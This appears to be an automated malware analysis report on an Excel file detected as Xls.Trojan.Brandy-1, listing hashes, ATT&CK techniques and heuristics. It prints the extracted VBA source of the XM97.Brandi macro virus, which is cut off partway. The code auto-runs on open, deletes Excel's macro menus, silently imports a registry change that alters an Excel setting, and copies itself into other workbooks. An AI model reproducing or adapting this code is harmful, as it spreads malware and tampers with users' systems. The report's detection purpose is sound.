Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97c6e75c3633aceb…

MALICIOUS

Office (OLE)

22.5 KB Created: 2000-10-05 21:54:03 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 9e813700cde0e3af7dc767d1bcb3b31f SHA-1: b4ca27c98de97c5c3b1be16cf21aaa827158efe7 SHA-256: 97c6e75c3633acebc1c87a51c4aeac1aece04285800af066747c3d89741974c4
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The Excel file contains a VBA macro with an Auto_Open subroutine, which is designed to execute automatically when the document is opened. This macro utilizes the Shell() function, indicating an attempt to run an external command or payload. The ClamAV detection of 'Xls.Trojan.Brandy-1' further supports its malicious nature. The embedded URL is likely used to download or host the secondary payload.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.avp.au/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4494 bytes
SHA-256: 9bbadf348ebbc6d999b6bc385760aaacd16a38b30ed49d0edf06a2ce4bb943d9
Detection
ClamAV: Xls.Trojan.Brandy-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Tento_sešit"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Auto_Open()
'XM97.Brandi.a
'Knowdeth / [Metaphase VX Team & NoMercyVirusTeam]
'Specail Thanks to jackie and foxz.
Application.OnSheetActivate = "Brandi-"
End Sub
Sub Brandi()
On Error Resume Next
CommandBars("tools").Controls("Templates and add-ins...").Delete
CommandBars("tools").Controls("Customize...").Delete
CommandBars("tools").Controls("Macro").Delete
CommandBars("view").Controls("Toolbars").Delete
CommandBars("view").Controls("Status Bar").Delete
CommandBars("window").Controls("Unhide...").Delete
MenuBars(xlWorksheet).Reset
MenuBars(xlModule).Reset
MenuBars(xlNoDocuments).Reset
MenuBars(xlInfo).Reset
MenuBars(xlChart).Reset
MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Macro...").Delete
MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Record Macro").Delete
MenuBars(xlWorksheet).Menus("Insert").MenuItems("&Macro").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("&Macro...").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("&Record Macro").Delete
MenuBars(xlChart).Menus("Insert").MenuItems("&Macro").Delete
MenuBars(xlModule).Menus("Tools").MenuItems("Assig&n Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Record New Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Unhide...").Delete
Application.ScreenUpdating = False
Application.DisplayAlerts = False
Application.EnableCancelKey = xlDisabled
Application.DisplayStatusBar = False
If UCase(Dir("c:\windows\microsoft.bak")) <> "MICROSOFT.BAK" Then _
 Open "c:\windows\microsoft.bak" For Output As 1
 Print #1, "REGEDIT4"
 Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel]"
 Print #1, """Options6""=dword:00000000"
 Close 1
 Shell "regedit /s c:\windows\mircosoft.bak", vbHide
End If
Const MySource = "c:\windows\screensaver.sys"
Const MyBrandi = "Brandi"
Application.VBE.ActiveVBProject.VBComponents(MyBrandi).Export MySource
If Dir(Application.StartupPath & "\Personal.xls") = "Personal.xls" Then _
GlobalInstalled = True
For x = 1 To ActiveWorkbook.VBProject.VBComponents.Count
    If ActiveWorkbook.VBProject.VBComponents(x).Name = MyBrandi Then _
     ActiveInstalled = True
Next
If ActiveInstalled = False Then
    ActiveWorkbook.VBProject.VBComponents.Import MySource
    ActiveWorkbook.SaveAs ActiveWorkbook.FullName
End If
If GlobalInstalled = False Then
    Workbooks.Add.SaveAs FileName:=Application.StartupPath _
     & "\Personal.xls"
    ActiveWorkbook.VBProject.VBComponents.Import MySource
    ActiveWindow.Visible = False
    Workbooks("Personal.xls").Save
End If
If Int(Rnd * 5) = 15 Then
Application.Caption = "Failure is not an option. It comes bundled with your Microsoft product"
Assistant.Visible = True
  With Assistant.NewBalloon
    .Icon = msoIconAle
... (truncated)

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